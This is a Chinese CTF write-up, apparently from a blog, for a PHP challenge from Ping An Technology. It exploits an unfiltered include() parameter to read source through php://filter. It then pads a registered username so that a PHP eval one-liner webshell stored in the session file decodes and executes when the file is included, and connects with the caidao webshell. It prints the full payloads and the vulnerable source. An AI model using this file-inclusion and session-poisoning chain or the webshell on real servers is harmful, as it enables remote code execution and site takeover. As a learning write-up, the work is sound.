平安科技的一道session包含

index.php
login.php
register.php
config.php
logout.php
wappalyzer显示 php5.5.9 Apache2.4.7 ubuntu系统

文件包含

http://54.222.188.152:22589/index.php?action=login.php

读取源码

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=index.php
index.php
login.php
register.php
config.php
logout.php

base64解码后得到源代码,进行代码审计

发现sql查询处,用了预编译,无法注入
用户可控,且没有防护的参数为session,session与用户名有关

Paste_Image.png

先注册用户名,然后登陆,登陆时username的值会以某种形式保存在SESSION数组中(一般是序列化+base64加密,方便调用),然后服务器会返回一个cookie

这里联想到包含session缓存文件

php的 session文件的默认存放位置大致如下

/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

其中,PHPSESSID是cookie中的PHPSESSID值

成功包含session缓存文件

路径为 /var/lib/php5/sess_PHPSESSID
这里是注册了一个用户名haha,然后登陆的时候得到cookie中的PHPSESSID,然后在index.php包含session的文件内容

Paste_Image.png

Paste_Image.png

接下来要调用php://filter/read=convert.base64-decode/resource=的伪协议,在包含之前将中间那段base64解开,再包含php代码

但是在解码之前的 username|s:8:"这14个字符串会影响对后面base64的解码,所以这里是考察base64编码的知识

base64加密是把3*8=24bit加密成4*6=24bit,即3个字符加密成4个字符
base64解密是把4*6=24bit解密成3*8=24bit,即4个字符解密成3个字符

base64解密时,一个字符6bit,14个字符就是14*6=84bit,84/24除不尽
所以解密时必定会影响后面编码的字符串

如果能把前面14个字符补充到16个字符,则解密时6*16=96bit,96/24=4 可以整除
所以base64解码解码时不会影响后面编码的字符串,只是前面会乱码而已

这里可以注册较长的用户名,使得 username|s:8:"中的数字从1位数变为3位数(这里以100为例),即可达到16个字符,这里的8是用户名用base64加密后的长度,username进行base64加密后为100个字符,则username长度至少为 100*6bit/8bit=75

至此我们可以用75个a + php代码的形式注册用户名,就能在包含session缓存文件的时候,调用base64-decode的php伪协议,先解码再包含,从而达到php代码执行的效果

先测试<?php echo 'haha';?>

Paste_Image.png
Paste_Image.png
Paste_Image.png

成功执行php命令

接下来注册 75个a+php一句话 的username

注册并登陆后,拿到cookie中的PHPSESSID,然后上菜刀连接

注册并登陆的payload

username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php @eval($_POST['caidao']); ?>&password=123

菜刀连接的payload,密码是 caidao

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_a0e6k729l1jp80jj45gvieua34
Paste_Image.png
Paste_Image.png
Paste_Image.png

附上几个php文件的源码

index.php
<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
    include $_GET['action'];
    exit();
} else {
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="css/bootstrap.css" rel="stylesheet" media="screen">
    <link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
    <div class="form-signin">
        <?php if (isset($_SESSION['username'])) { ?>
            <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
            <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
        } ?>
    </div>
</div>
</body>
</html>

<?php

}
?>
login.php
<?php
    require_once('config.php');
    session_start();
    if($_SESSION['username']) {
        header('Location: index.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = md5($_POST['password']);

        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);

        if ($mysqli->connect_errno) {
            die("could not connect to the database:\n" . $mysqli->connect_error);
        }
        $sql = "select password from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_password);
        $stmt->execute();

        $stmt->fetch();
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");
        } else {
            die("Invalid user name or password");
        }
        $stmt->close();
        $mysqli->close();
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">

            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>
register.php
<?php

if ($_POST['username'] && $_POST['password']) {
    require_once('config.php');

    $username = $_POST['username'];
    $password = md5($_POST['password']);

    $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($mysqli->connect_errno) {
        die("could not connect to the database:\n" . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8");
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows();
    if($count) {
        die('User name Already Exists');
    } else {
        $sql = "insert into user(username, password) values(?,?)";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    $stmt->close();
    $mysqli->close();
} else {

?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">

            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>
logout.php
<?php
session_start();
session_destroy();
ob_start();
header("location:index.php");
ob_end_flush();
config.php
<?php 
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
 ?>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,099评论 18 139
  • Session的声明与使用 Session的设置不同于Cookie,必须先启动,在PHP中必须调用session_...
    寻回骄傲阅读 2,888评论 0 18
  • 背景在HTTP协议的定义中,采用了一种机制来记录客户端和服务器端交互的信息,这种机制被称为cookie,cooki...
    时芥蓝阅读 2,322评论 1 17
  • 好文章要让更多的人知道!!本文转载自:开源社区原文链接:https://www.kysq.com/article/...
    php_bruce阅读 1,131评论 1 28
  • 从三月份找实习到现在,面了一些公司,挂了不少,但最终还是拿到小米、百度、阿里、京东、新浪、CVTE、乐视家的研发岗...
    时芥蓝阅读 42,014评论 11 349